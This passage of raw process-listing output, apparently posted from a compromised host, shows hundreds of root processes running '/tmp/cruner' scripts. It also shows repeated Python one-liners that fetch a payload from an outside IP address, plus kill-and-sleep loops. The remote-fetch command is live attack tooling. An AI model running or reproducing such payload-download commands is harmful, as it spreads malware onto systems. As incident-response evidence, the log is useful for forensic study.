? 0:00 sh /var/tmp/cruner > root 9976 7758 0 15:45:41 ? 0:00 bash -sh > root 2397 15204 0 - ? 0:00 <defunct> > root 1599 552 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4228 3456 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29956 19550 0 - ? 0:00 <defunct> > root 15132 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16472 15671 0 - ? 0:00 <defunct> > root 27449 15670 0 15:46:02 ? 0:00 sleep 60 > root 4701 11334 0 15:45:40 ? 0:00 xargs kill -9 > root 1362 4758 0 15:45:31 ? 0:00 sleep 60 > root 8156 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15113 502 0 15:45:46 ? 0:00 bash -sh > root 27275 20930 0 15:46:10 ? 0:00 xargs kill -9 > root 5692 18143 0 15:44:42 ? 0:00 bash -sh > root 17380 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28788 2155 0 15:45:34 ? 0:00 sleep 60 > root 24019 9159 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 1287 9592 0 15:45:48 ? 0:00 bash -sh > root 2408 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13297 17666 0 15:44:52 ? 0:00 bash -sh > root 9059 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21952 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2440 9465 0 15:46:06 ? 0:00 bash -sh > root 291 27965 0 15:45:34 ? 0:00 sleep 60 > root 4950 837 0 15:45:54 ? 0:00 bash -sh > root 25843 2329 0 15:46:05 ? 0:00 sleep 60 > root 22390 26834 0 15:45:33 ? 0:00 sleep 60 > root 14257 6954 0 15:46:08 ? 0:00 sleep 60 > root 6840 29641 0 15:46:07 ? 0:00 bash -sh > root 10875 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27162 13277 0 - ? 0:00 <defunct> > root 2013 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8100 17334 0 - ? 0:00 <defunct> > root 29623 21270 0 - ? 0:00 <defunct> > root 29487 28383 0 15:44:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18394 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9456 28625 0 15:43:19 ? 0:00 bash -sh > root 26837 28931 0 15:45:43 ? 0:00 xargs kill -9 > root 25787 27893 0 - ? 0:00 <defunct> > root 16397 464 0 15:44:25 ? 0:00 bash -sh > root 4637 5483 0 - ? 0:00 <defunct> > root 19404 9926 0 15:45:42 ? 0:00 sleep 60 > root 3290 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23629 15724 0 15:44:49 ? 0:00 bash -sh > root 483 8151 0 - ? 0:00 <defunct> > root 1325 9454 0 - ? 0:00 <defunct> > root 3690 5897 0 - ? 0:00 <defunct> > root 2582 1688 0 15:46:06 ? 0:00 sleep 60 > root 6672 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13687 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28824 645 0 15:45:14 ? 0:00 bash -sh > root 5812 17054 0 15:45:20 ? 0:00 sleep 60 > root 23586 22107 0 - ? 0:00 <defunct> > root 3429 14304 0 - ? 0:00 <defunct> > root 25965 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10601 16393 0 15:45:41 ? 0:00 sleep 60 > root 15049 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 24317 3351 0 - ? 0:00 <defunct> > root 12223 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3350 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11416 11403 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15907 2010 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 8847 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 21052 22352 0 15:43:28 ? 0:00 bash -sh > root 5935 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2971 1156 0 15:45:19 ? 0:00 sleep 60 > root 20964 29878 0 15:45:17 ? 0:00 bash -sh > root 21570 15238 0 - ? 0:00 <defunct> > root 14399 20585 0 15:44:47 ? 0:00 bash -sh > root 27168 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2162 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3674 27887 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8240 3490 0 15:46:12 ? 0:00 bash -sh > root 581 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29075 14997 0 15:45:47 ? 0:00 sleep 60 > root 29453 1 0 22:50:28 ? 0:00 sh /var/tmp/cruner > root 6728 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7147 7095 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12450 8735 0 15:45:21 ? 0:00 sleep 60 > root 19547 25064 0 15:46:09 ? 0:00 sleep 60 > root 9768 4495 0 - ? 0:00 <defunct> > root 9826 12624 0 15:43:43 ? 0:00 bash -sh > root 15963 18703 0 - ? 0:00 <defunct> > root 27384 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23191 1730 0 15:46:09 ? 0:00 bash -sh > root 10552 3128 0 15:46:12 ? 0:00 bash -sh > root 11440 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 26247 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29818 2585 0 15:45:18 ? 0:00 sleep 60 > root 11019 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29576 21718 0 15:44:01 ? 0:00 bash -sh > root 23483 11809 0 - ? 0:00 <defunct> > root 16378 24927 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 29171 15807 0 15:45:34 ? 0:00 sleep 60 > root 22044 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1316 21276 0 15:44:11 ? 0:00 bash -sh > root 5610 9198 0 15:45:58 ? 0:00 sleep 60 > root 28252 28412 0 15:45:43 ? 0:00 bash -sh > root 19574 11846 0 15:44:53 ? 0:00 bash -sh > root 17751 13906 0 15:44:57 ? 0:00 bash -sh > root 8703 15248 0 - ? 0:00 <defunct> > root 27273 5013 0 15:46:02 ? 0:00 sleep 60 > root 8151 28968 0 15:44:24 ? 0:00 bash -sh > root 25880 25747 0 15:45:27 ? 0:00 sleep 60 > root 9118 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 16420 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13212 2488 0 15:45:45 ? 0:00 xargs kill -9 > root 26948 11815 0 15:45:18 ? 0:00 sleep 60 > root 17214 803 0 15:44:06 ? 0:00 bash -sh > root 3750 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18915 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16391 14872 0 15:44:52 ? 0:00 bash -sh > root 21851 12823 0 15:44:53 ? 0:00 bash -sh > root 3098 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19060 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23969 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1056 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26086 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11028 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 1771 6905 0 15:43:07 ? 0:00 bash -sh > root 29622 20542 0 15:45:34 ? 0:00 sleep 60 > root 5466 27340 0 15:45:49 ? 0:00 bash -sh > root 20654 5795 0 - ? 0:00 <defunct> > root 166 8277 0 - ? 0:00 <defunct> > root 20750 15786 0 15:45:12 ? 0:00 bash -sh > root 1573 29752 0 15:45:48 ? 0:00 sleep 60 > root 12937 13464 0 15:44:15 ? 0:00 bash -sh > root 2049 2038 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5105 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15233 23473 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 6444 8660 0 - ? 0:00 <defunct> > root 16340 3098 0 15:46:08 ? 0:00 sleep 60 > root 10736 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28643 19303 0 15:44:10 ? 0:00 bash -sh > root 25888 15868 0 - ? 0:00 <defunct> > root 16280 24161 0 15:44:52 ? 0:00 bash -sh > root 28377 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21852 14617 0 - ? 0:00 <defunct> > root 3474 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19486 7431 0 - ? 0:00 <defunct> > root 23169 9146 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 24468 28205 0 15:44:54 ? 0:00 bash -sh > root 18659 4682 0 15:43:22 ? 0:00 bash -sh > root 28114 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20608 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 16703 16695 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29436 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17827 25228 0 15:46:00 ? 0:00 bash -sh > root 11851 1799 0 15:45:29 ? 0:00 bash -sh > root 14642 29443 0 15:45:51 ? 0:00 sleep 60 > root 8333 8328 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27455 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10627 15891 0 15:44:47 ? 0:00 bash -sh > root 238 6403 0 15:44:55 ? 0:00 bash -sh > root 21019 14682 0 15:45:42 ? 0:00 sh /tmp/cruner > root 15400 6029 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15274 5994 0 15:46:08 ? 0:00 bash -sh > root 7843 29978 0 - ? 0:00 <defunct> > root 23240 15920 0 15:43:23 ? 0:00 bash -sh > root 4752 1 0 01:05:46 ? 0:00 sh /var/tmp/cruner > root 24050 12203 0 15:45:30 ? 0:00 sleep 60 > root 3902 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1145 14037 0 - ? 0:00 <defunct> > root 9038 3278 0 15:46:12 ? 0:00 sh /var/tmp/cruner > root 958 7476 0 15:44:59 ? 0:00 xargs kill -9 > root 16509 16479 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9783 8792 0 - ? 0:00 <defunct> > root 20224 20547 0 - ? 0:00 <defunct> > root 9176 15616 0 - ? 0:00 <defunct> > root 14772 14764 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21780 8801 0 15:46:09 ? 0:00 awk {print $7} > root 15725 24010 0 15:45:46 ? 0:00 bash -sh > root 13866 7842 0 15:45:59 ? 0:00 sleep 60 > root 24396 20545 0 15:46:05 ? 0:00 sleep 60 > root 13339 13329 0 - ? 0:00 <defunct> > root 8441 19801 0 15:45:20 ? 0:00 sleep 60 > root 482 13548 0 - ? 0:00 <defunct> > root 14949 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4083 8911 0 15:46:11 ? 0:00 xargs kill -9 > root 4715 12832 0 - ? 0:00 <defunct> > root 16585 23923 0 - ? 0:00 <defunct> > root 17465 12917 0 15:45:51 ? 0:00 sleep 60 > root 8375 1561 0 - ? 0:00 <defunct> > root 5748 12135 0 15:45:54 ? 0:00 bash -sh > root 23606 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8026 8023 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26301 41 0 - ? 0:00 <defunct> > root 5976 18757 0 - ? 0:00 <defunct> > root 9023 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 541 29643 0 - ? 0:00 <defunct> > root 26950 21856 0 - ? 0:00 <defunct> > root 13097 13115 0 15:45:25 ? 0:00 sleep 60 > root 14162 28034 0 15:45:37 ? 0:00 bash -sh > root 29954 11210 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 3309 21769 0 15:45:58 ? 0:00 sleep 60 > root 17664 18708 0 15:43:52 ? 0:00 bash -sh > root 8072 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13078 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18598 17848 0 - ? 0:00 <defunct> > root 10525 17221 0 15:44:51 ? 0:00 bash -sh > root 3653 2215 0 - ? 0:00 <defunct> > root 10834 19842 0 15:45:59 ? 0:00 bash -sh > root 23204 14807 0 15:45:38 ? 0:00 bash -sh > root 19228 19134 0 15:43:45 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15106 16542 0 15:46:08 ? 0:00 bash -sh > root 777 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26755 26729 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3092 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24120 7568 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 25743 10543 0 15:45:43 ? 0:00 sleep 60 > root 18508 25411 0 15:46:09 ? 0:00 xargs kill -9 > root 528 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4990 28698 0 15:45:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22118 22992 0 15:45:38 ? 0:00 xargs kill -9 > root 26919 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2076 28607 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 8609 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26567 16141 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 26715 24910 0 15:45:18 ? 0:00 sleep 60 > root 2580 26360 0 15:44:50 ? 0:00 bash -sh > root 29650 14305 0 15:45:03 ? 0:00 bash -sh > root 24684 3437 0 - ? 0:00 <defunct> > root 15950 15751 0 15:45:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21972 3040 0 15:45:06 ? 0:00 bash -sh > root 66 12520 0 15:45:58 ? 0:00 sleep 60 > root 17412 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2591 20467 0 15:45:44 ? 0:00 sleep 60 > root 16330 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12940 26605 0 15:45:21 ? 0:00 sleep 60 > root 17712 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16838 24584 0 - ? 0:00 <defunct> > root 1208 12877 0 15:43:30 ? 0:00 bash -sh > root 10043 1376 0 - ? 0:00 <defunct> > root 22104 11200 0 - ? 0:00 <defunct> > root 11571 5584 0 15:43:10 ? 0:00 bash -sh > root 1381 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19429 27064 0 15:43:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5557 6386 0 - ? 0:00 <defunct> > root 391 4744 0 - ? 0:00 <defunct> > root 8419 11690 0 - ? 0:00 <defunct> > root 20004 14056 0 - ? 0:00 <defunct> > root 8220 15059 0 - ? 0:00 <defunct> > root 9080 14700 0 15:46:07 ? 0:00 sleep 60 > root 6505 18072 0 - ? 0:00 <defunct> > root 25536 17085 0 - ? 0:00 <defunct> > root 3367 11664 0 - ? 0:00 <defunct> > root 1143 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18340 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1616 20639 0 - ? 0:00 <defunct> > root 10260 4744 0 15:46:12 ? 0:00 bash -sh > root 10657 14098 0 15:45:45 ? 0:00 sleep 60 > root 9554 3520 0 15:43:26 ? 0:00 bash -sh > root 3123 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5515 12296 0 15:45:20 ? 0:00 sleep 60 > root 13058 23262 0 - ? 0:00 <defunct> > root 8686 7987 0 - ? 0:00 <defunct> > root 3369 17886 0 15:46:06 ? 0:00 bash -sh > root 11055 595 0 15:45:41 ? 0:00 sleep 60 > root 21596 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21719 21672 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17724 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4673 6385 0 15:45:44 ? 0:00 bash -sh > root 3381 21333 0 - ? 0:00 <defunct> > root 27399 27119 0 15:45:34 ? 0:00 sleep 60 > root 27287 28782 0 - ? 0:00 <defunct> > root 20754 29632 0 - ? 0:00 <defunct> > root 13505 11035 0 - ? 0:00 <defunct> > root 27550 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12001 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4913 2288 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15728 17220 0 15:45:46 ? 0:00 bash -sh > root 25420 13822 0 15:45:17 ? 0:00 sleep 60 > root 6573 6543 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28052 5221 0 15:46:10 ? 0:00 sleep 60 > root 19317 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26071 26063 0 15:45:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22021 17053 0 - ? 0:00 <defunct> > root 7528 21776 0 - ? 0:00 <defunct> > root 6929 4515 0 - ? 0:00 <defunct> > root 11532 26162 0 15:45:59 ? 0:00 bash -sh > root 19846 12484 0 15:46:04 ? 0:00 sleep 60 > root 17618 17610 0 - ? 0:00 <defunct> > root 21642 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22097 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6608 13631 0 15:44:13 ? 0:00 bash -sh > root 7588 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5678 1535 0 - ? 0:00 <defunct> > root 11050 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3911 11272 0 - ? 0:00 <defunct> > root 24906 21533 0 - ? 0:00 <defunct> > root 10256 1129 0 15:46:12 ? 0:00 bash -sh > root 11003 26499 0 15:45:59 ? 0:00 sh /var/tmp/cruner > root 9254 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14021 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25769 19650 0 15:44:54 ? 0:00 bash -sh > root 5577 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27785 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25614 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12073 9367 0 - ? 0:00 <defunct> > root 22570 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23524 8542 0 - ? 0:00 <defunct> > root 19888 29470 0 15:44:53 ? 0:00 bash -sh > root 1676 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14180 26882 0 15:44:35 ? 0:00 bash -sh > root 29819 2139 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 4084 3089 0 15:45:28 ? 0:00 sleep 60 > root 6161 21064 0 15:45:44 ? 0:00 bash -sh > root 8629 10431 0 15:45:45 ? 0:00 bash -sh > root 10019 15790 0 15:46:07 ? 0:00 sleep 60 > root 9170 11272 0 - ? 0:00 <defunct> > root 25674 13954 0 - ? 0:00 <defunct> > root 2216 26606 0 - ? 0:00 <defunct> > root 7798 22107 0 - ? 0:00 <defunct> > root 8829 9895 0 - ? 0:00 <defunct> > root 6733 1471 0 15:45:58 ? 0:00 bash -sh > root 25362 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11591 12930 0 15:45:59 ? 0:00 bash -sh > root 28779 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20201 24607 0 - ? 0:00 <defunct> > root 15327 8091 0 15:45:41 ? 0:00 bash -sh > root 13043 4302 0 15:45:11 ? 0:00 bash -sh > root 24348 22826 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11600 15299 0 15:44:34 ? 0:00 bash -sh > root 10611 21839 0 - ? 0:00 <defunct> > root 20272 2632 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10321 24362 0 15:45:10 ? 0:00 sh /var/tmp/cruner > root 11220 3616 0 15:44:15 ? 0:00 bash -sh > root 825 8350 0 - ? 0:00 <defunct> > root 25292 1 0 20:05:03 ? 0:00 sh /tmp/cruner > root 19333 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11929 11146 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22046 3648 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 17270 2664 0 15:44:52 ? 0:00 bash -sh > root 10980 10955 0 15:44:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5045 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19945 2926 0 15:45:29 ? 0:00 sleep 60 > root 22364 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17837 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27026 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6956 1907 0 - ? 0:00 <defunct> > root 15346 242 0 - ? 0:00 <defunct> > root 24218 21526 0 15:45:17 ? 0:00 sleep 60 > root 2919 27244 0 15:45:19 ? 0:00 sleep 60 > root 11435 11242 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8244 5046 0 15:45:54 ? 0:00 sleep 60 > root 1095 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25768 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16463 10470 0 15:45:42 ? 0:00 sleep 60 > root 23136 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26159 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18308 12587 0 - ? 0:00 <defunct> > root 14240 14238 0 15:43:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2894 5300 0 15:46:11 ? 0:00 bash -sh > root 24945 24813 0 15:42:44 ? 0:00 bash -sh > root 1081 15624 0 15:45:44 ? 0:00 bash -sh > root 867 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18978 48 0 15:45:37 ? 0:00 bash -sh > root 18314 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3458 26266 0 15:45:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23776 1 0 23:45:27 ? 0:00 sh /var/tmp/cruner > root 23023 14401 0 - ? 0:00 <defunct> > root 2663 2041 0 - ? 0:00 <defunct> > root 12075 15852 0 15:45:55 ? 0:00 sleep 60 > root 17994 12956 0 15:45:26 ? 0:00 sleep 60 > root 7659 5266 0 15:44:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23607 7178 0 15:45:47 ? 0:00 sleep 60 > root 20496 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19503 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27355 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 11739 5282 0 15:45:59 ? 0:00 bash -sh > root 9572 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3228 3227 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2563 2561 0 15:45:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23068 6429 0 15:45:43 ? 0:00 sleep 60 > root 25725 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5622 15952 0 - ? 0:00 <defunct> > root 27853 1396 0 15:45:34 ? 0:00 sleep 60 > root 1793 7718 0 15:46:06 ? 0:00 bash -sh > root 15070 14669 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4609 25367 0 15:46:06 ? 0:00 sleep 60 > root 1698 20161 0 15:46:06 ? 0:00 bash -sh > root 24899 21977 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26897 14093 0 - ? 0:00 <defunct> > root 20085 17991 0 15:44:53 ? 0:00 bash -sh > root 13356 11390 0 - ? 0:00 <defunct> > root 18824 16854 0 15:44:26 ? 0:00 bash -sh > root 21223 15829 0 15:46:09 ? 0:00 sleep 60 > root 4989 18229 0 15:42:46 ? 0:00 bash -sh > root 27041 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10616 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 300 19143 0 15:45:24 ? 0:00 bash -sh > root 19137 26075 0 15:43:45 ? 0:00 bash -sh > root 204 19779 0 - ? 0:00 <defunct> > root 10708 22051 0 - ? 0:00 <defunct> > root 11053 5771 0 15:45:55 ? 0:00 sleep 60 > root 6822 8250 0 - ? 0:00 <defunct> > root 9179 3979 0 15:46:12 ? 0:00 bash -sh > root 16712 11050 0 15:45:42 ? 0:00 bash -sh > root 25115 26682 0 15:45:23 ? 0:00 sleep 60 > root 20931 8024 0 15:45:42 ? 0:00 sh /tmp/cruner > root 15110 4449 0 15:45:46 ? 0:00 bash -sh > root 14710 25701 0 15:43:44 ? 0:00 bash -sh > root 13726 5082 0 15:45:01 ? 0:00 bash -sh > root 21663 24523 0 15:45:42 ? 0:00 sleep 60 > root 19051 11293 0 - ? 0:00 <defunct> > root 19618 19367 0 15:45:12 ? 0:00 bash -sh > root 28502 16116 0 15:45:18 ? 0:00 sleep 60 > root 5569 17515 0 15:44:23 ? 0:00 bash -sh > root 402 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22544 19571 0 - ? 0:00 <defunct> > root 25955 1 0 20:08:52 ? 0:00 sh /var/tmp/cruner > root 21519 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24280 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4358 3954 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19213 24784 0 - ? 0:00 <defunct> > root 8582 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9717 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24981 22792 0 15:45:43 ? 0:00 sleep 60 > root 29449 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7681 24917 0 - ? 0:00 <defunct> > root 21195 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28657 26519 0 - ? 0:00 <defunct> > root 18274 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20554 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19755 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12565 21855 0 - ? 0:00 <defunct> > root 28009 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29421 19331 0 - ? 0:00 <defunct> > root 931 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 246 27274 0 15:44:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22155 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8454 5473 0 15:45:40 ? 0:00 bash -sh > root 22406 20569 0 - ? 0:00 <defunct> > root 10197 12272 0 15:45:59 ? 0:00 sh /tmp/cruner > root 21295 25448 0 - ? 0:00 <defunct> > root 7466 28683 0 15:41:59 ? 0:00 bash -sh > root 20345 3877 0 15:44:53 ? 0:00 bash -sh > root 25459 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27707 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9198 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26275 13819 0 15:45:18 ? 0:00 bash -sh > root 25513 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6585 19966 0 15:45:04 ? 0:00 bash -sh > root 23192 23058 0 - ? 0:00 <defunct> > root 10967 8960 0 15:43:43 ? 0:00 bash -sh > root 18421 2744 0 - ? 0:00 <defunct> > root 29137 26241 0 15:45:53 ? 0:00 xargs kill -9 > root 15491 14383 0 15:45:51 ? 0:00 bash -sh > root 28273 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19212 5076 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16451 17447 0 15:45:26 ? 0:00 sh /tmp/cruner > root 10856 18937 0 15:46:12 ? 0:00 bash -sh > root 22124 15 0 15:45:13 ? 0:00 bash -sh > root 12505 24469 0 - ? 0:00 <defunct> > root 13035 22037 0 15:46:08 ? 0:00 sleep 60 > root 3099 16564 0 15:46:06 ? 0:00 sleep 60 > root 23423 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8992 29700 0 15:45:54 ? 0:00 sleep 60 > root 19914 19900 0 15:44:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20934 20927 0 15:44:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12394 1 0 Oct 06 ? 0:01 